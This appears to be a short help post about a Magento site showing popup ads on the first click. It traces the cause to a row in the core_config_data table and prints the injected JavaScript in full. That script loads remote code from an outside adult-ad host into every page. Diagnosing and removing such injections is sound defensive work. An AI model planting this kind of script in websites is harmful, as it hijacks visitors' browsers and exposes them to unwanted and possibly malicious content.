How to remove ads malware popup ads at every first click on magento website

Magento : ads malware popup ads at every first click on website

when i first click on any link on my website, its pops up some random ads.
popup ad url :
solutions :
affected table name : core_config_data
affected ID = 59

SQL : SELECT * FROM `core_config_data` where `config_id` = '59'

Result :

JavaScript which popup ads

<script type="text/javascript">
(function(w) {
var s = document.createElement('script');
var z = setInterval(function() {
 if (document.readyState == 'interactive' || document.readyState == 'complete') {
clearInterval(z);
s.src = "http://85628.w4statistics.info/click.php?p=100526&adult=1&c"; s.async = true; s.type = type = 'text/javascript'; w.document.body.appendChild(s); } }, 200); })(window);
</script>

above row will include javascript in head section. this javascript will create popup ads during the fresh website load.  when user click any link on your website it will popup ads